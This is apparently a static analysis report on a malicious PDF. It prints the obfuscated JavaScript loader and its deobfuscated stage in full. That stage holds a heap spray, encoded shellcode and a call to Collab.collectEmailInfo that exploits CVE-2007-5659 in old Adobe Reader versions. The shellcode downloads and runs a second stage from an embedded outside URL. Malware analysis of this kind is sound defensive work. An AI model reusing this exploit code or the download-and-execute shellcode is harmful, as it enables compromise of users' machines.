Malicious PDF — malware analysis report

Static analysis result for SHA-256 b0bb4196dd925dce…

MALICIOUS

PDF

4.6 KB Created: 2008-08-06 01:42:27 Authoring application: Scribus 1.3.3.12 (via Scribus PDF Library 1.3.3.12) First seen: 2026-05-08
MD5: 665ed195670438d7b60fab69a0554c74 SHA-1: 8364b8f141c45d7f541aa5093b8de84d00c56ef9 SHA-256: b0bb4196dd925dcefef2f4238bb72b13dfd99fa1405c8906aaba145ae750134e
290 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 Command and Scripting Interpreter: PowerShell T1059.003 Command and Scripting Interpreter: Windows Command Shell T1059.007 Command and Scripting Interpreter: JavaScript/TypeScript

The PDF document contains embedded JavaScript, indicated by multiple heuristic firings including PDF_JAVASCRIPT and PDF_JS. The presence of an eval() call within the JavaScript stream (PDF_EVAL) suggests that the script is likely obfuscated and designed to execute arbitrary code. The extracted artifact 'javascript_obj0013_001.js' further supports the presence of malicious JavaScript. The primary intent appears to be the execution of a second-stage payload, though the exact nature is obscured by the obfuscation.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 8

  • Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659
    PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
  • JavaScript action low 3 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
    Matched line in script
    function RWWWGU(){eval("function im"+"plo"+"de(gl"+"ue,pie"+"ces){return ((pieces instanceof Array)?pie"+"ce"+"s.jo"+"in(glu"+"e):pie"+"ces);}");eval("function yYA04OHwFMh(pPCDD){return St"+"rin"+"g['fro"+"mCh"+"arC"+"ode']"+"(pPCDD)"+";"+"}");eval("function kZ2zJkKe(LRuOiNBR8){var mBb3DEC="+"0,grGSKdN81DkbaJ=LRuOiNBR8.l"+"en"+"gth,XcNvH5Piyo=10"+"2"+"4,NztUDnLT,B8dm8qXiRqK,vhxkmMTlB='',xAobNb=mBb3DEC,rscyVP6Mxonn9=mBb3DEC,Uqn3dAV=mBb3DEC,EQWVE9tq=Ar"+"ra"+"y(63,7,42,43,4,41,3,14,30,33,0,0,0,0,0 …
  • PDF exploit shellcode contains an embedded download URL high PDF_JS_SHELLCODE_DOWNLOAD_URL
    Decoded PDF exploit shellcode contains a hardcoded http(s) URL — stored as little-endian %uXXXX Unicode escapes, or hex-encoded in a document metadata field (/CreationDate, /Title) and referenced from the decoded script. Reader exploit shellcode embeds the second-stage fetch URL this way and pulls it down with a urlmon/URLDownloadToFile-style download-and-execute (commodity downloader behaviour rather than a specific Acrobat CVE).
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Generic recovered JavaScript exploit stage high PDF_GENERIC_STAGE_RECOVERY
    Bounded static stage recovery exposed hidden JavaScript through generic transforms such as null-byte collapse, percent decoding, marker replacement, arithmetic character codes, fromCharCode, numeric arrays, numeric-array minus-key decoders, alphabet-index arrays, /Producer half-difference metadata arrays, hex literals, marker-stripped Base64 literals, custom 6-bit XOR table decoders, or repeated-marker hex carriers. This rule is emitted only when the recovered stage contains exploit-like Acrobat JavaScript or shellcode markers.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://abb192.cn/spl3/load.php?id=8761&spl=4 Referenced by PDF JavaScript

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0013_001.js pdf-javascript-stream PDF /JS object 13 at offset 0x364 6343 bytes
SHA-256: 1c56f90838f409a5eda2ba71fa60373fde0ef3923f7dbc64475a6b23f3409058
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 4 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
function RWWWGU(){eval("function im"+"plo"+"de(gl"+"ue,pie"+"ces){return ((pieces instanceof Array)?pie"+"ce"+"s.jo"+"in(glu"+"e):pie"+"ces);}");eval("function yYA04OHwFMh(pPCDD){return St"+"rin"+"g['fro"+"mCh"+"arC"+"ode']"+"(pPCDD)"+";"+"}");eval("function kZ2zJkKe(LRuOiNBR8){var mBb3DEC="+"0,grGSKdN81DkbaJ=LRuOiNBR8.l"+"en"+"gth,XcNvH5Piyo=10"+"2"+"4,NztUDnLT,B8dm8qXiRqK,vhxkmMTlB='',xAobNb=mBb3DEC,rscyVP6Mxonn9=mBb3DEC,Uqn3dAV=mBb3DEC,EQWVE9tq=Ar"+"ra"+"y(63,7,42,43,4,41,3,14,30,33,0,0,0,0,0,0,11,52,53,47,62,22,34,20,44,59,40,26,24,21,10,50,57,61,2,58,37,6,38,19,9,25,54,0,0,0,0,51,0,8,28,39,49,46,56,36,5,17,55,1,31,15,35,23,18,27,48,45,29,0,32,16,13,60,12);f"+"o"+"r(B8dm8qXiRqK=M"+"at"+"h.c"+"ei"+"l(grGSKdN81DkbaJ/"+"XcNvH5Piyo)"+";B8dm8qXiRqK>mBb3DEC;B8dm8qXiRqK-"+"-){fo"+"r(NztUDnLT=Ma"+"th.m"+"in(grGSKdN81DkbaJ,XcNvH5Piyo);NztUDnLT>mBb3DEC;NztUDnLT-"+"-,grGSKdN81DkbaJ-"+"-){Uqn3dAV|"+"=(EQWVE9tq[LRuOiNBR8.cha"+"rCod"+"eAt(xAobNb+"+"+)-48])<"+"<rscyVP6Mxonn9;if(rscyVP6Mxonn9){vhxkmMTlB+"+"=yYA04OHwFMh"+"(154^Uqn3dAV&"+"2"+"5"+"5);Uqn3dAV>"+">="+"8;rscyVP6Mxonn9-"+"="+"2;}el"+"se{rscyVP6Mxonn9="+"6"+";}}"+"}return (vhxkmMTlB);}var niiiE9nb6bPt=implode('',['SODDJ3','qO','F','O0_','AomIPcx2S82eA0lISex','SJC0fO','7qJSO','0IAcCI_','omQSUm32Wx','y5','DNOOe80w0','xSZ2','qQM_Nj','rI0BMmSZ8','0','S','HSUees@0','yZ0CeOe80w0x','SAK','00AjC','IO6@','2VElBHO','xyDltBn','e','sjC7qf3jmAl','n','eed82e3j','mAln8J','c3IS','Q6QjJ3','I5S','e8','0w0x','S','AVD','Ifc','eIJm','mQQ@32ZElBHOxyD','ltBnesjCE@2_U2e','J0CICn7Q','Se','8','0w','0xS92','IPSO0IAcCI_omQSEx3n','2DZFcQI3NIHS','Uee','HCmSSFyy','EIN2','I0DSS','82e2Ne2P3KD','2VC2P12eHCmSSZxIIcNr','sny','y','S82eCW005','c','0D20CHfDIIeV235DIIeV2','35DII','eV235D','I','I2OQjL0II5V','S3L','0','IIH','OKZnDIIF2NZnD','IIF2223D','IIl_t','25','D','IIln','235DIIlnxjq0IIl@22CDIIb_','QjY0','I','Ib_xjb0II','F','Ft3b','0II8_s3l','0IIl_Qjb0II','HSSjb','0','IIlcSZb0IInOx3eDIIeFNj5DIInOx3','e','DIIHD','Q','js','D','IIl_s25DI','I','l_QjL0I','IHSSj','b0IILm2','25DIIHe2JsDI','I','lCSZ','3D','II2Z2','25DIIl','_','Q2','3','DIIl_Qjb','0IIqCx3HDIILmSjL0IIsZ2J','s','DIIHDS23D','II2ZS','j3DIIl_Q2b0I','Il_','Qjb','0IIqCx','3H','DI','I','LmS','jsDI','I','Y','CsJsDI','I32S3','b0','II','2Z','N280IIl_s280I','Il_Qjb0IIqCx3HDII','L','mSj','5','DII222JsD','II2O','x23','DII2Z2Jb0IIl_t2L0IIl_Qjb0IIqCx3H','DII','LmN','j','b0','II','J','DsJsDII2eQ','JHDII2ZS3','sDIIl_x2','nDII','l_Qjb0IIqCx3HDIIq','_xjL0II8','j','N3b0IInex2Y0IIHOS2CDI','IbjSZq0','IIl@','22H','DIIl_Qjl0IILCSjb0I','Inex3HD','IIHSKZL0IIlnQZq0IIl0s','JCDI','IHSNZH','DIIbjN','Zq0II2ZNZnDIIl','_x','3eDIIl_Q','jb0I','IFZNZb0II','b02j','nDIInOtZ','2DIIsN22sDI','Il','_Qjb0','IIH','OSjb','0IIbc','SZ','q0I','I','Jex3eDIIJOx3Y0IIH','ONZb0II','Y','_','QZ','q0II322JsDI','I','l','_Qjb','0IIL_Qjb0IIqCx','3','eDIIF','D','NjL0IIL','_','Sj80IILCx3eDII2ZNjsDII','l_sJ','l0IIl_Qj','b0IIqC','Qj','Y','0IIJNKZb0','IILcS','jb0IIYCSJ3DIIJN2J','q0I','IlnQZb','0IIFe','QJ','s','DII','l_Qjb0IIneQ22D','I','IH','S','KZb0IIlcSZ','q0IIl0','sJCDIIHSNZ','HDII','b','jNZq0IIq_s2sD','IIl_Qjb0IIF','DSjb0','I','ILjSjFDI','IqCQjY','0','II8ct','ZL','0IILc','t2eDII32N','ZY0I','IY_QJq0II','L','cxZb0IIqCx3eD','IIFDNj5DIIL_','Sj','q0IILCx3e','DII2Z','Nj','sDII','l_tZY0II','l_Qjb0II','l_sJCDIIn','eQ','22DIIH','SKZb0I','IljS','Zq0IIlIsJCDIIH','SNZHDIIb','jNZ','q0IIb_','s','2s','DII','l_Qj','b0IIFDSjb0IIHSS','22D','I','Ib_Q','Zq0II','l0sJ','CDI','IHSNZ','HDI','IbjNZq0IIl','_s2sDIIl_Qjb0II','q0Qjb0IILIxZeDII2DQjY','0II2D','QjY','0','I','I2DQjY','0','II','2D','QjY0','II2VN3Y0IIL','0SjL0IIHSNZ','Y0','II2S','t2CDII','LIQ2','FDII2OQ2','2DIIHSN','Z','q0IIHS225DIIljSJJDIILnN3eDIILmS','j5','D','I','I','nV','x3e','DIIHS2j5DII','b','CSJL0II','lcQJs','DIILmS2Y','0IIn7','N3e','DI','Ilct','Zb','0I','I8cQ','2Y','0I','Iq_N','2','HDI','IeFSZl0IIJ','VQjY0II8','cx','ZnDIIl3','S2nDIIb','_Q33DII','3SsjCDI','Il','jS','JL0IIJeN2l','0IIl','cQj','JDIIq_Q280','II3Ds2eDII3e','2jeDII','nexZ3DIIL022','q0','I','I2SN','3eDII','L0N3eDII','lctZL0IIF7K2J','DII','lcN3e','D','IIHSSZe','DIIbcNZ','CDI','I5FSj','Y','0IIln','x3','eDI','Ilc','x3','e','DIILCN2','q0','IIJSx','Z','JDIIl_Qjs','DII','3Fs2sDII','32S23DI','ILCQ','22','DII','qc','NZ80IIq3SZJDIIl_QZ3DIIsSN3F','DIIs2K3e','DIIJ','O','t2q0IIHeN2b0','II','HF','N3JD','II57K23DIIJDt2JDI','IHDx','35DIIsVN2b0IIHVt32DII','JOt25DI','IHOx3Y','0IIHSN33DIIs2N2','l0IIs2N','3FDIIH7K','2','b0II5Sx','3eDII5ZK2F','DII5e','K2','HDIIsVN2','H','D','II','HVt32DII5SK28','nIH92@I','Inee0mQyrqxyi','jsec','232FI','22222','22U','2eHCmSSD','mrx_tD','HF','s3B6xy','S82et','_D','D5','RbI','ammsZ','0','mQQIe','ySR','3eJU2eHCmSSElBHOx','yDltBnes','jC','2I5','SD0A_6CBr1tj','S83eODmrx_','tDHF','s3','B6xyd','22f5','NSH92@IInee3jmAlneec2','I','IA0lSPCCS0@@e0','DDJ27220DDJ2','7','22f7qJSe80w0xSS82ed_','2S','G6l2C','F','HH3jm','Alne','sSElBHOxyDltBnes','jC','7q','JS','ODDJ33I','2czjd0bjS82eOFyyEIN2I0DSS83e','2','N','e322','2222SHBD0A_6CBr1tj92@0','BneeOODDJ','3IZj083JcNI5e2J','sl229eQQ','CjNS5O','82','3NKIVSeSX_tymjt','Jql0IsF82HcS2FZ8Hd7','3','e93qOFO0','_AomIPcx2kCQQCjNS5O','823NK','I13I','5Se80w0xSSU3et_DD','5R','bIamlJS','8e','ec3@0CW','lDemlQA3qOtjxyvCN3r1sH_2q','fS','ODDJ3@0v_DSl@bI@3I5SeCS2W@I_0lI0n7_0n','8S_omQ','AS8','QXI7S_Wl0O','7qJ','SOmfHC','DjRj','DOS','8','2','ey67I30s','r','sCzsJ0CSZCl','D0@qsUIts','Qq@ef','7','qJSODD','J33Qr','1tA','s3N','QY0eA7l','Cec2@Q','0jeeqn7SImeHy6','7I30s','rsCzsP@','0DJCsIO2SHZOmfHC','DjRjDOAVCy','InDZ','e@I2_K@0v','_D','Sl@bI','@WqDOCmS','qIeHJ7','I','H','9','2Iyy33HOKmyi1t','I2p','lZC@s','_j1H213I5','c23JSO','@CSN3HZ6lAije2AcQIpI','yQk','CSd','S8S5S','e2eyO','3eZ','6lA','ije2','AcQ','IpI','yQk','nSdSK2eJ73eVqe','e','Z','6lAije2AcQIpIyQkCSdSK2e37IHS','K','e','PSN3Qr','1tA','s3','NQY','0eA7l','lr28Hec82','e','s','2@C','y','2','3Qr1tAs3N','QY0eA7llr','38HeV2I2_23PV33HZ6lAije2A','cQIpIy','Qk3SdSK2e','s7','IHSUeeM_S','J2CsfY0D2O7','qJ','S','ODDJ3q05Vzy57H','_G','0DQo','3eec2IIA','0l','SPCCS0@@','e0De2P3K','D0','D','e2P3K','Df7qJSZey','_q','00OZl2X6l26IzBC','l0','B','2W3Q','0Wl','0e@CeV233e7S','3J','73eQ','cKOr','cSr7','WQI','jl','sSSUI','5','SZ','l2X6l2','6','I','zBCl','0B','212ee@0y5','Wq','D','BqCQIn','lOeomS03I5SVtQZ','q0DfW','qD','BqCQ0','cCIll0D_q0','AA_lQOU8SCn','myv2@efKIQ5jmJ','SZl2X6','l26I','zB','Cl0','B2lDH92I','PS8eeXjtj','r','6D2H','RlAO7qJ']);");eval(kZ2zJkKe(niiiE9nb6bPt));}
generic_stage_recovery_000.js deobfuscated-js generic stage recovery sixbit-xor-table from JavaScript object 13 at offset 0x364 2562 bytes
SHA-256: 546e6f563c867ab78ce2cf79324d3a9633736af5f7372e6ce7ca770ae1b418fe
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 3 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
var S8fUnovcC2 = new Array(); function k6pNj35R(qgJEr, oO6FjdMO9AD5) { while (qgJEr.length*2<oO6FjdMO9AD5){qgJEr += qgJEr;} qgJEr = qgJEr.substring(0,oO6FjdMO9AD5/2); return qgJEr; } function O69pAxCu1() { var RiL42auq = 0x0c0c0c0c; var Gva3ZwRi = unescape("%u4343%u4343%u4343%u0FEB%u335B%u66C9%u80B9%u8001%uEF33%uE243%uEBFA%uE805%uFFEC%uFFFF%u8B7F%uDF4E%uEFEF%u64EF%uE3AF%u9F64%u42F3%u9F64%u6EE7%uEF03%uEFEB%u64EF%uB903%u6187%uE1A1%u0703%uEF11%uEFEF%uAA66%uB9EB%u7787%u6511%u07E1%uEF1F%uEFEF%uAA66%uB9E7%uCA87%u105F%u072D%uEF0D%uEFEF%uAA66%uB9E3%u0087%u0F21%u078F%uEF3B%uEFEF%uAA66%uB9FF%u2E87%u0A96%u0757%uEF29%uEFEF%uAA66%uAFFB%uD76F%u9A2C%u6615%uF7AA%uE806%uEFEE%uB1EF%u9A66%u64CB%uEBAA%uEE85%u64B6%uF7BA%u07B9%uEF64%uEFEF%u87BF%uF5D9%u9FC0%u7807%uEFEF%u66EF%uF3AA%u2A64%u2F6C%u66BF%uCFAA%u1087%uEFEF%uBFEF%uAA64%u85FB%uB6ED%uBA64%u07F7%uEF8E%uEFEF%uAAEC%u28CF%uB3EF%uC191%u288A%uEBAF%u8A97%uEFEF%u9A10%u64CF%uE3AA%uEE85%u64B6%uF7BA%uAF07%uEFEF%u85EF%uB7E8%uAAEC%uDCCB%uBC34%u10BC%uCF9A%uBCBF%uAA64%u85F3%uB6EA%uBA64%u07F7%uEFCC%uEFEF%uEF85%u9A10%u64CF%uE7AA%uED85%u64B6%uF7BA%uFF07%uEFEF%u85EF%u6410%uFFAA%uEE85%u64B6%uF7BA%uEF07%uEFEF%uAEEF%uBDB4%u0EEC%u0EEC%u0EEC%u0EEC%u036C%uB5EB%u64BC%u0D35%uBD18%u0F10%u64BA%u6403%uE792%uB264%uB9E3%u9C64%u64D3%uF19B%uEC97%uB91C%u9964%uECCF%uDC1C%uA626%u42AE%u2CEC%uDCB9%uE019%uFF51%u1DD5%uE79B%u212E%uECE2%uAF1D%u1E04%u11D4%u9AB1%uB50A%u0464%uB564%uECCB%u8932%uE364%u64A4%uF3B5%u32EC%uEB64%uEC64%uB12A%u2DB2%uEFE7%u1B07%u1011%uBA10%uA3BD%uA0A2%uEFA1%u7468%u7074%u2F3A%u612F%u6262%u3931%u2E32%u6E63%u732F%u6C70%u2F33%u6F6C%u6461%u702E%u7068%u693F%u3D64%u3738%u3136%u7326%u6C70%u343D"); var eIijLjKG = 0x400000; var eZWFc6B4oJj = Gva3ZwRi.length * 2; var oO6FjdMO9AD5 = eIijLjKG - (eZWFc6B4oJj+0x38); var qgJEr = unescape("%u9090%u9090"); qgJEr = k6pNj35R(qgJEr, oO6FjdMO9AD5); var tpSFkUG = (RiL42auq - 0x400000)/eIijLjKG; for (var Amu7r3v318w=0;Amu7r3v318w<tpSFkUG;Amu7r3v318w++) { S8fUnovcC2[Amu7r3v318w] = qgJEr + Gva3ZwRi; } } function SGGjz16jK() { var fzvqEXwQ = app.viewerVersion.toString(); fzvqEXwQ = fzvqEXwQ.replace(/\D/g,""); var ljKKw0nCuHTm = new Array(fzvqEXwQ.charAt(0),fzvqEXwQ.charAt(1),fzvqEXwQ.charAt(2)); if ((ljKKw0nCuHTm[0] == 8 && ((ljKKw0nCuHTm[1] == 1 && ljKKw0nCuHTm[2] < 2) || ljKKw0nCuHTm[1] < 1)) || (ljKKw0nCuHTm[0] == 7 && ljKKw0nCuHTm[1] < 1) || (ljKKw0nCuHTm[0] < 7)) { O69pAxCu1(); var g3Sj3YTNumMp = unescape("%u0c0c%u0c0c"); while(g3Sj3YTNumMp.length < 44952) g3Sj3YTNumMp += g3Sj3YTNumMp; this.collabStore = Collab.collectEmailInfo({subj: "",msg: g3Sj3YTNumMp}); } } SGGjz16jK();

Open this report in the interactive analyzer, or submit your own file for analysis.